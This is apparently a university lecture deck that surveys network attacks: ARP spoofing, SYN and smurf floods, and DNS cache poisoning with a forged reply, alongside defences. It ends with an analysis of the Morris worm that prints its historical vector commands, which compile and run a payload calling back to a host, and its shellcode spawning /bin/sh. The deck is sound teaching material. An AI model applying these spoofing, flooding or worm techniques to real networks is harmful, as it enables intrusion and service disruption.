A taxonomy of networks' attacks

Carlo U. Nicola, SGI FHNW
With extracts from slides/publications of:
IS-Group at Royal Holloway UCL;
Joe Stewart, Lurhq Inc.; Marc Rennhard, ZHAW; Avi Kak,
E.H. Spafford Purdue University.
Topics

1. Understand the different security problems of the components that are likely to be found in a network:
   a) Switches and ARP (Layer 2);
   b) Routers and IP (Layer 3);
   c) TCP and ICMP (Layer 4);


4. Web Applications attacks: SQL injection and Cross-Scripting

5. Analysis of the first malware: the Morris' Worm.
NS-Administrator’s golden rules

Confidentiality, integrity, availability

+ Authentication, authorization, audit
Switches in OSI protocol stack

- 7 Application
- 6 Presentation
- 5 Session
- 4 Transport
- 3 Network
- 2 DataLink
- 1 Physical

Switches
Cabling, Hubs
Recap: IP addressing

IPv4 address is 32 bits long so we have 4 billion ‘raw’ addresses available. They are usually expressed as 4 decimal numbers separated by dots:

- 0.0.0.0 to 255.255.255.255
- Typical IP address: 134.219.200.162.

Many large ranges are already permanently assigned:

- 13.x.x.x : Xerox, 18.x.x.x : MIT, 54.x.x.x : Merck.
- Shortage of IP addresses solved using private IP addresses and subnetting/supernetting.

We will say more on addressing later.
Recap: IP address to Ethernet address

Address Resolution Protocol (ARP):
→ Layer 3 protocol,
→ Maps IP address to MAC address.

ARP Query:
→ Who has 192.168.0.40? Tell 192.168.0.20.

ARP Reply:
→ 192.168.0.40 is at 00:0e:81:10:19:FC.

ARP caches for speed:
→ Previous ARP replies are recorded,
→ Entries are aged and eventually discarded.
ARP query and ARP reply (hub)

Web Server
IP 192.168.0.40
MAC 00:0e:81:10:19:FC

Web Browser
IP 192.168.0.20
MAC 00:0e:81:10:17:D1

(2) ARP Replay:
192.168.0.40 is at MAC 00:0e:81:10:19:FC

(1) ARP Query:
Who has 192.168.0.40?

Hub sends to all connected PC the query
Switches only send data to the intended receiver (an improvement on hubs). Builds an index table of device with associated MAC address.

<table>
<thead>
<tr>
<th>Device</th>
<th>MAC address</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>00:0e:81:10:19:FC</td>
</tr>
<tr>
<td>2</td>
<td>00:0e:81:32:96:af</td>
</tr>
<tr>
<td>3</td>
<td>00:0e:81:31:2f:d7</td>
</tr>
<tr>
<td>4</td>
<td>00:0e:81:97:03:05</td>
</tr>
<tr>
<td>8</td>
<td>00:0e:81:10:17:d1</td>
</tr>
</tbody>
</table>
Switch operation

When a frame arrives at a switch:
   → The switch looks up the destination MAC address in index.
   → Sends the frame to the device in the index that owns that MAC address.

Switches are often intelligent:
   → Traffic monitoring, remotely configurable.

Switches operate at Layer 2.
ARP's vulnerabilities

ARP spoofing strategy:

→ **Masquerade:** Send *fake ARPs replies:* That means an ARP reply with a bogus MAC-IP pair.

→ This is possible because ARP replies have **no proof of origin**, so a malicious device can claim any MAC address whatsoever!

→ Enables all fundamental threats!
Before ARP spoofing

IP 192.168.0.20
MAC 00:0e:81:10:17:d1

Attacker
IP 192.168.0.1
MAC 00:1f:42:12:04:72

IP 192.168.0.40
MAC 00:0e:81:10:19:FC

IP address | MAC address
------------|---------------
192.168.0.40 | 00:0e:81:10:19:FC
192.168.0.1  | 00:1f:42:12:04:72
192.168.0.20 | 00:0e:81:10:17:d1
After ARP spoofing

<table>
<thead>
<tr>
<th>IP address</th>
<th>MAC address</th>
</tr>
</thead>
<tbody>
<tr>
<td>192.168.0.40</td>
<td>00:1f:42:12:04:72</td>
</tr>
<tr>
<td>192.168.0.1</td>
<td>00:1f:42:12:04:72</td>
</tr>
</tbody>
</table>

(1) Gratuitous ARP
192.168.0.40 is at 00:1f:42:12:04:72

(2) Gratuitous ARP
192.168.0.20 is at 00:1f:42:12:04:72
ARP spoofing: How it diverts traffic

Attacker
IP 192.168.0.1
MAC 00:1f:42:12:04:72

Switch

IP datagram
Dest: 192.168.0.40
MAC: 00:1f:42:12:04:72

IP 192.168.0.20
MAC 00:0e:81:10:17:d1

IP 192.168.0.40
MAC 00:0e:81:10:19:FC

IP 192.168.0.1
MAC 00:1f:42:12:04:72

Attacker’s relay index table

<table>
<thead>
<tr>
<th>IP address</th>
<th>MAC address</th>
</tr>
</thead>
<tbody>
<tr>
<td>192.168.0.40</td>
<td>00:0e:81:10:19:FC</td>
</tr>
<tr>
<td>192.168.0.20</td>
<td>00:0e:81:10:17:d1</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>IP address</th>
<th>MAC address</th>
</tr>
</thead>
<tbody>
<tr>
<td>192.168.0.40</td>
<td>00:0e:81:10:19:FC</td>
</tr>
<tr>
<td>192.168.0.20</td>
<td>00:0e:81:10:17:d1</td>
</tr>
</tbody>
</table>
ARP spoofing: Mechanics

The attacker keeps a *relay index*: a table containing the true association between MAC addresses and IP addresses.

But the two devices at 192.168.0.20 and 192.18.0.40 update their ARP caches with false information.

All traffic for 192.168.0.20 and 192.168.0.40 gets sent to attacker by layer 2 protocol (Ethernet).

Attacker can re-route this traffic to the correct devices using his relay index and layer 2 protocol.

So these devices (and the switch) are **oblivious** to the attack.
Switch vulnerability

MAC flooding:

→ A malicious device is connected to the switch.
→ It sends multiple gratuitous ARPs replies.
→ Each ARP claims a different MAC address.
→ When the index table is filled up, some switches revert to hub behaviour: data are broadcast to all connected PC.

<table>
<thead>
<tr>
<th>Device</th>
<th>MAC address</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>00:0e:81:10:19:FC</td>
</tr>
<tr>
<td>2</td>
<td>00:0e:81:32:96:af</td>
</tr>
<tr>
<td>3</td>
<td>00:0e:81:32:96:b0</td>
</tr>
<tr>
<td>4</td>
<td>00:0e:81:32:96:b1</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>9999</td>
<td>00:0e:81:32:97:a4</td>
</tr>
</tbody>
</table>
Safeguards

1. **Physically** secure the switch. Switches under lock prevent threat of illegitimate use.

2. Switches should **fail to a safe state** (point 5 Sa-Sc) when flooded, i.e.: disallow all.
   → But now new threat: Denial of Service.

3. Use **Warpath**: it monitors MAC to IP address mappings.

4. **Switch with port locking of MAC addresses**:
   - Prevents ARP spoofing,
   - But reduces flexibility (adding new host requires reconfiguration of switch)
Routers
Routers in OSI protocol stack

1 Physical
2 DataLink
3 Network
4 Transport
5 Session
6 Presentation
7 Application

Cabling, Hubs
Switches
Routers
Routers and layer 3 problems

Routers support *indirect delivery* of IP datagrams. To do so they need routing tables which contain very sensitive data, *i.e.*:

→ Information about **possible destinations** and **how** to reach them.

Three possible actions for a datagram:

→ It is sent directly to destination host.
→ It is sent to the next router on the way to a known destination.
→ It is sent to a default router.

Routers operate at Layer 3.
Recap: More on IP addressing

IP addresses are logically split into two parts.
→ The first part identifies the network.
→ The second part identifies the host on that network.

Example: the IP address 192.168.0.20:

a) 192.168.0.x identifies the network.
b) y.y.y.20 identifies an host on the network.
c) We have a network with up to 256 (in fact 254) hosts (.0 and .255 are reserved).
d) The network mask 255.255.255.0 identifies the size of the network and the addresses of all hosts that are locally reachable.
e) This mask can be fetched from network’s default router using an ICMP Address Mask Request message.
**Routers: General layout**

IP address
192.168.0.20
Network mask
255.255.255.0
Default router
192.168.0.254

- **Router**: 192.168.1.10
- **Router**: 192.168.1.11
- **Internet**: 62.49.147.169
- **Internet**: 62.49.147.170
- **Internet**: 192.168.1.254
- **Switch**: 192.168.0.40
- **Switch**: 192.168.0.254
- **Computer**: 192.168.0.20
- **Computer**: 192.168.1.10
- **Computer**: 192.168.1.11

Routers: How an IP diagram is redirected (1)

IP address
192.168.0.20
Network mask
255.255.255.0
Default router
192.168.0.254

IP datagram
Dest: 192.168.0.40

192.168.0.40
192.168.0.254
62.49.147.170
192.168.1.254

192.168.40
62.49.147.169

192.168.1.10

192.168.1.11
Routers: How an IP diagram is redirected (2)

IP datagram
Dest: 192.168.1.11

IP address
192.168.0.20
Network mask
255.255.255.0
Default router
192.168.0.254
Protocol layering and routing (TCP/IP)
Private IP addressing

Set of addresses have been reserved for use on private networks (IETF RFC 1918):

→ 10.0.0.0 to 10.255.255.255 (1 network, $2^{24}$ hosts),
→ 172.16.0.0 to 172.31.255.255 (16 networks, $2^{16}$ hosts each),
→ 192.168.0.0 to 192.168.255.255 (256 networks, $2^8$ hosts each).

Packets with src/dest addresses in these ranges will never be routed outside private network.

→ Helps to solve problem of shortage of IP addresses.
→ But what about security?

Previous example: router has external IP address 62.49.147.170 and two internal addresses: 192.168.0.254 and 192.168.1.254:

→ It acts as default router for two small private networks.
Some layer 3 security problems (1)

1. **IP spoofing**: IP addresses are not authenticated, so it is dangerous to base security on raw IP addresses alone.
   → An attacker can place any IP address whatsoever in the source address of any IP datagram he chooses: that is the *masquerade* threat.
   → An attacker can replay any IP datagrams. That is a threat to the *integrity* of the data.

2. Users have few guarantees about the route taken by their data. It means:
   → Information leakage: or a new threat on the confidentiality of the content.
3. Security breaches during routing updates:
   → Attacker may be able to corrupt routing tables on routers by sending false updates.
   → Consequence: Denial of Service.
   **Practical hint**: disconnect router from Internet/LAN during updates.

4. What security is applied to protect remote administration of routers?
   → An attacker may be able to reconfigure or take control of a remote router and change its behaviour.
   → For example he could advertise attractive routes to other routers and so bring interesting traffic on his machines.
TCP and ICMP on layer 4
TCP state diagram
Each TCP connection begins with three packets:
- A SYN packet from sender to receiver: “Can we talk?”
- An SYN/ACK packet from receiver to sender: “Fine – ready to start?”
- An ACK packet from sender to receiver: “OK, start”

The packet type SYN or ACK is indicated by a flag in the TCP packet header.
TCP handshaking protocol

TCP Packet
SYN flag
IP datagram
Src: 192.168.0.20
Dest: 192.168.0.40

"Can we talk?"

TCP Packet
SYN & ACK flag
IP datagram
Src: 192.168.0.40
Dest: 192.168.0.20

"Fine, ready to start?"

TCP Packet
ACK flag
IP datagram
Src: 192.168.0.20
Dest: 192.168.0.40

"OK, start"
The destination host has to track to which machines it has sent a “SYN+ACK” to.

It keeps a list of TCP SYN packets that have had a SYN+ACK returned.

When ACK is received, the packet is removed from the list and the connection is opened up.
TCP Denial of Service

What if the sender doesn’t answer with an ACK?
→ A SYN packet from sender to receiver: “Can we talk?”
→ An SYN/ACK packet from receiver to sender: “Fine – ready to start?”
→ ........................nothing........................

If the sender sends 100 SYN packets per second
→ Eventually receiver runs out of memory to track all the SYN+ACK replies.
→ This is known as the SYN flooding attack.
→ Defense against SYN flood?
TCP Denial of Service + IP spoofing

A host can place any IP address in the source address of any IP datagram.

- Disadvantage: Any reply packet will return to the wrong place.
- Advantage (to an attacker): No-one knows who sent the packet.

If the attacker sends 100 SYN packets per second with spoofed source addresses....
TCP Denial of Service

... the destination host will soon be unable to accept new connections from legitimate senders.
1. Block SYN packets at the firewall with an ACL (Access Control List) which stops SYN packets from random IP addresses outside a legitimate range. Works well for host not directly exposed to the Internet.

2. But how to deal with Web servers or mail servers directly connected to the Internet? The options are not so clear cut as in the previous case:
   - Increase the size of the connection queue on the host (SYN ACK queue).
   - Decrease the time-out waiting for the three-ways-handshake.
   - SYN cookies.
TCP/IP ports

Many processes on a single machine may be waiting for network traffic. When a packet arrives, how does the transport layer know to which process it is bound?

The **port** allows the transport layer to deliver the packet to the application layer.

TCP packets have source and destination ports.
- Source port is used by receiver as destination of replies.
Port assignments

Well known ports from 0 to 1023:
- http → port 80
- smtp → port 25
- syslog → port 514
- telnet → port 23
- ssh → port 22
- ftp → port 21
- ...

Registered ports from 1024 to 49151.
Dynamic or private ports from 49152 to 65535.
Port multiplexing

Host A
- putty
- ie
- netscape

Transport Layer
- Port 2077
- Port 2076
- Port 2078

Internet Layer

Network Layer

Physical Network

Host B
- telnet
- apache

Transport Layer
- Port 23
- Port 80

Internet Layer

Network Layer

Message
Packet
Datagram
Frame
Ports in action

HTTP message
GET index.html
www.localserver.org

TCP Packet
Src Port: 2076
Dest Port: 80

IP datagram
Src: 192.168.0.20
Dest: 192.168.0.40

TCP Packet
Src Port: 80
Dest Port: 2076

IP datagram
Src: 192.168.0.40
Dest: 192.168.0.20

TELNET message

TCP Packet
Src Port: 2077
Dest Port: 23

IP datagram
Src: 192.168.0.20
Dest: 192.168.0.40

TELNET message

TCP Packet
Src Port: 23
Dest Port: 2077

IP datagram
Src: 192.168.0.40
Dest: 192.168.0.20
Type of NIC messages

Network interface cards (NIC) are usually programmed to listen for three types of messages:

1. **Unicast**: A transmission to a single interface card.
2. **Multicast**: A transmission to a group of interface cards on the network.
3. **Broadcast**: A transmission to all interface cards on the network. RFC 919 and 922 describe IP broadcast datagrams.
   - **Limited Broadcast**: Sent to all NICs on the same network segment as the source NIC. It is represented with the 255.255.255.255 TCP/IP address. This broadcast is not forwarded by routers so it will only appear on one network segment.
   - **Direct broadcast**: Sent to all hosts on a network. Routers may be configured to forward directed broadcasts on large networks. For network 192.168.0.0, the broadcast is 192.168.255.255.
   - **All other** messages are filtered out by the NIC software unless the card is programmed to operate in **promiscuous** mode to perform network sniffing.
Broadcast IP addresses:

- Any packet with destination IP address ending with .255 in a network with network mask 255.255.255.0 gets sent to all hosts on that network.
- Similarly for other sizes of networks.
- This is a handy feature for network management, fault diagnosis and some applications.
- But what about security?

The types of broadcasting used on TCP/IP are:

- ARP on IP
- DHCP on IP
- Routing table updates. Broadcasts sent by routers with routing table updates to other routers.
ICMP = Internet Control Message Protocol:

→ It is a layer 4 protocol (like TCP) that is carried over IP. It is a mandatory part of all IP implementations.
→ It carries IP error and control messages.

Example:

→ ICMP Echo Request: test route to a particular host.
→ Live host should reply with ICMP Echo Reply packet.
ICMP ‘smurf attack’: Denial of Service

Attacker
192.168.0.20

Victim
192.168.1.30

ICMP Packet
Echo Request

IP datagram
Src: 192.168.1.30
Dest: 192.168.0.255

ICMP Packet
Echo Reply

IP datagram
Src: 192.168.0.3
Dest: 192.168.1.30

ICMP Packet
Echo Reply

IP datagram
Src: 192.168.0.254
Dest: 192.168.1.30

192.168.0.1
192.168.0.2
192.168.0.3
192.168.0.254
Defence against DoS

As we already have shown defence against TCP Denial of Service is hard. Even more virulent is the Distributed Denial of Service (DDoS) attack that launches DoS from many hosts simultaneously. Possible cures:

→ Aggressively age incomplete TCP connections?
→ Use firewall/IDS to detect attack in progress.
→ Use relationship with IP service provider to investigate and shut down DoS traffic.
→ **Smurf**: drop most external ICMP traffic at boundary firewall.

There are other good reasons to do this: ICMP can be used as tool by hacker to investigate your network…
DNS Cache poisoning
DNS Cache

Poisoning of a DNS cache means entering in the cache a fake IP address for a well known hostname.

What makes DNS cache poisoning a slightly difficult exploit is the use of a 16-bits transaction ID integer that is sent with every DNS query. This integer is supposed to be randomly generated. That is, when an application running on your computer needs to resolve a symbolic hostname for a remote host, it sends out a DNS query along with the 16-bits transaction ID integer.

If the name server to which the DNS query is sent does not contain the IP address either in its cache or in its zones for which its has authority, it will forward the query to name servers higher up in the tree of name servers. Each such query will be accompanied with its own 16-bits transaction ID number.
DNS packet

DNS relevant tools:

- `whois fhnw.ch`
- `dig fhnw.ch`
- `host -v fhnw.ch`

From: http://wwwunixwiznet/techtips/iguide-kaminsky-dns-vuln.html
DNS poisoning attack: Correct recursive query

TTL: In seconds. 86400 → 24 h.
Random not so random (1)

If a sequence exhibits strong attractor behaviour, then future values in the sequence will be close to the values used to construct previous points in the attractor.
Random not so random (2)

What we see above is a trivial, probably microsecond clock-based time dependency at its finest with most of the points attracted to one point with "echos" around.

 IOS Cisco
DNS poisoning attack: Overview

Client Resolver Cache (after Step 8)
Farpoint.companyA.com

Record Name : farpoint.companyA.com
Record Type : 1
Time To Live : 1961
Data Length : 4
Section : Answer
A (Host) Record : 194.168.3.130

Step 1
Step 2
Step 3
Step 4
Step 5
Step 6
Step 7
Step 8

Resolver

External DNS Servers

Authoritative Server for CompanyA.com

Authoritative Server for Company.com

Bot Net

DNS Attack Server

DoS Attack
When a name server is able to respond to a DNS query with the IP address, it returns the answer along with the transaction number so that the recipient of the response can identify the corresponding query. As long as the TCP or UDP port number, the IP address and the transaction ID from the remote host are correct, the reply to the query is considered to be legitimate.

The DNS cache poisoning attack proceeds as follows:

The attacker identifies a vulnerable recursive name server for the attack. We will refer to this name server as the target name server — the target of the attack.

The attacker identifies the authoritative name server for the name whose IP address the attacker wants to hijack.

The attacker tries to slow down the authoritative name server for the name in question by some sort of a DoS attack.

The attacker creates a fake name server in the domain he controls. It could be running on the same machine that the attacker uses to mount the attack. The fake name server has the same name (but obviously an IP address controlled by the attacker) as the authoritative name server for the name in question. For example, for the fhnw.ch, one of the authoritative name servers is ns.fhnw.ch. So the attacker will create a host with the name ns.fhnw.ch but with an **illegitimate** IP address.
DNS poisoning attack (2)

The attacker sends a few hundred queries to the target name server asking for the IP address of the domain name to be hijacked. The query for a domain like fhnw.ch might look like fhnw.ch in A where 'A' stands for the authoritative zone. Such a query will, for example, be sent out by a command like nslookup fhnw.ch.

To send a DNS query to a specific name server, you can invoke nslookup as follows: nslookup fhnw.ch xxx.yyy.fhnw.ch where the second argument is the name of the name server to be used. (See the manpage for 'nslookup' for the various options with which it can be called.) (Another way to query DNS servers would be by issuing commands like 'host fhnw.ch' or 'host -v fhnw.ch'. The host utility is a simpler version of nslookup.)

Assume that the target name server receiving the queries is not the authoritative name server for the name in question and assume that the target name server does not possess a cache entry for the name in question. The target name server will therefore forward the request to either peer name servers or name servers higher up in the name server tree. The important thing to note here is that each forwarded query generated by the target name server will carry its own transaction ID. Any legitimate replies to that query must include that same transaction ID.
DNS poisoning attack (3)

At the same time as the attacker is sending out the queries, the attacker’s name server sends an equal number of phoney replies to the target name server for the query. These replies are formulated to look as if they were sent from the authoritative name server. A phoney reply may look like:

Server: xxx.xxx.xxx.xxx Address: xxx.xxx.xxx.xxx#53
Authority Section: fhnw.ch. 81544 IN NS NS.FHNW.CH
Additional Section: NS.FHNW.CH 3260 IN A yyy.yyy.yyy.yyy
The phoney reply includes an illegal IP address (yyy.yyy.yyy.yyy) in its last line for the legitimate name server for the fhnw.ch domain. Subsequently, the target name server will send all queries related to the fhnw.ch domain to this IP address.

Each phoney reply packet will use a random transaction ID. In order for the attack to be successful, for one of the spoofed reply packets, the Transaction ID, the source and destination IP addresses, and the source and the destination ports must match the legitimate recursive query packet from the target name server.
DNS poisoning attack (4)

If the number of queries dispatched by the attacker to the target name server and the corresponding number of phoney replies (each with a different random number as the transaction ID) is large enough, the statistical odds of the target name server accepting a phoney reply as one that is legitimate also go up.

Now as Stewart has stated: "at this point all the attacker has to do is to win the race between the first successful collision of his spoofed transactions and the legitimate answer from the true authoritative name server. The race is already slanted in favour of the attacker; however, he could utilize other methods to gain an even bigger edge, such as flooding the true authoritative name server with bogus packets in order to slow down its response."
Defence against DNS poisoning attack

1. Good random number generator for transaction IDs
2. Random choice of UDP-ports source numbers.
3. DNSSEC: RFC 3833, RFC2535, …
   → Authentication of DNS packets in the corresponding zone: .ch, .com etc.
   → Data integrity guarantee

Problems: The solution does not scale well
Kaminsky attack (2008) is not defeated by DNSSEC.
Malware
Some definitions

**Worm**: is a self-replicating computer program. It uses a network to send copies of itself to other nodes and do so without any user intervention.

**Virus**: a program that can infect other programs by modifying them to include a, possibly evolved, version of itself.

**Trojan**: fakes a desirable function but in fact it performs undisclosed malicious functions with the goal to gain unauthorized access to a computer.

**Root kit**: is a component that uses stealth to maintain a persistent and undetectable presence on the machine.
Malware evolution

Source: E. Skoudis, L. Zeltser; Malware: fighting malicious code
% of machines that used Panda AutoScan 2.0 online service

Source: Panda Q2 report  2010
November the 2\textsuperscript{nd} 1988: 6,000 of ca. 60,000 Internet's nodes were attacked by a malicious program which massively increased the system's load. Panic reaction of the system administrators:

$\to$ They cut down the networks' connections to and from the Internet!

$\to$ Two weeks elapsed until the damaged systems were fully reintegrated into the Internet.

$\to$ Author: Robert Tappan Morris, a Ph. D. student of Cornell University.
The Morris worm targets were:
→ 4.2 BSD and 4.3 BSD Unix systems
→ VAX- and Sun3- architectures

Three ways were open to reach these targets:
→ Attack via Unix shell
→ Attack via SMTP (Sendmail)
→ Attack via finger (4.3 BSD fingerd)
Entrance doors

The Morris Worm consists of two pieces:

1. A so called infection's vector.
2. The worm's main program called by the vector.

Shell infection:

→ Access via rsh and known/broken accounts
→ .rhosts and /etc/hosts.equiv allow access even without knowing the passwords

fingerd infection:

→ Buffer overflow in 4.3BSD/VAX fingerd
Shell's vector command

PATH=/bin:/usr/bin:/usr/ucb
cd /usr/tmp
echo gorch49;

sed '/int zz/q' > x14481910.c;
echo gorch50;

[vector's C-source code]

int zz;
cc -o x14481910 x14481910.c;
./x14481910 10.0.0.1 32341 8712440;
rm -f x14481910 x14481910.c;
echo DONE

All subsequent C-statements go into x14481910.c until sed detects int zz.

Execute x14481910 with args: IP, port, ID.

Remove executable and source file.
Stack's manipulation via finger

Return-to-libc attack:

```
pushl $68732f  
pushl $6e69622f  
movl sp, r10  
pushl $0  
pushl $0  
pushl r10  
pushl $3  
movl sp,ap  
chk $3b
```

execve("/bin/sh",0,0): On VAX TCP connection to remote shell.
A third infection variant

Third infection's method:
- Using sendmail debug-"features" the cracker can execute any shell commands with the privileges of the Sendmail's user.
- Unfortunately sendmail's user has normally root privileges!
- Deactivating these debug-"features" would change all standard configurations the BSD distribution requires.
Commands for sendmail-vector

download

cd /usr/tmp

cat > x14481910.c << 'EOF'
[vector's source code]
EOF
c.
quit
Vector's activation

As soon as the vector is loaded the infected server executes the following commands:

```
PATH=/bin:/usr/bin:/usr/ucb
rm -f sh
if [ -f sh ]
  then P=x14481910
else P=sh
fi
```
Then for each binary file it had transferred it would send the following command sequence:

```
cc -o $P x14481910,sun3.o
./$P -p $$ x14481910,sun3.o
x14481910,vax.o x14481910,l1.c
rm -f $P
```

Note: The Worm could only works with relocatable objects. This was an unnecessary constraint, that restricted the infection to a few platforms. Even on Sun environment was the constraint not necessary. You could have reached the same result with an additional compiler flag!
Obfuscations' manoeuvres

Goal: Hinder the Worm's identification.

→ Modification of the vector's arguments;
→ Erase the program's name (ps);
→ Periodical fork/kill: Worm changes process ID and no single process accumulate too much CPU time;
→ Vectors lie encrypted in main memory;
→ A kmem (kernel virtual memory file) search does not bring up anything;
→ unlink (delete a name and possibly the file it refers to) to a known user's file;
→ The Worm is not easily seen by other processes.
New infections

The Worm builds a list of Hosts that will be later randomly infected from:

→ /etc/hosts.equiv and ~/.rhosts files;
→ .forward files

The Worm guesses passwords with:

→ Simple password heuristic (name, GECOS field (entry in the /etc/passwd file), no password)
→ Carries a small dictionary (only 432 entry)
→ Uses /usr/dict/words as dictionary
Cracker's profile

Morris was no kid (25) at the time he started his attack and he had already published some work in networks' security.

Worm's analysis:
→ The worm is built upon some interesting ideas.
→ These new ideas were not implemented very well.

Actual cracker's profile:
→ A lot younger (15...25 years old);
→ No new ideas, low technical skills;
→ Typical script kiddie generation.

But a more serious sort of crackers are on the move: cyber criminals with technical skills and financial means.
The MO of the Morris-Worm is still in use:

→ The goal is the search of a hole within an OS or a heavily used application;

→ This hole in the system establishes a bridgehead to further analyse its vulnerability.

→ From this bridgehead it is possible to explore the network's topology and so reach out for more services to exploit.

→ Once within a system the cracker can exploit the transitivity property of some credential relationship.

→ Very often are these relationships implicitly stated and totally unknown to system's.
The spreading of Blast/Sapphire in 2003: $t = t_0$
The spreading of Blast/Sapphire in 2003: \( t = t_0 + 31 \) m
Bibliography

Joe Stewart, “DNS Cache Poisoning — The Next Generation,”

Michal Zalewski, “Strange Attractors and TCP/IP Sequence Number Analysis,”


E.H.Spafford: "The Internet Worm Program: An Analysis"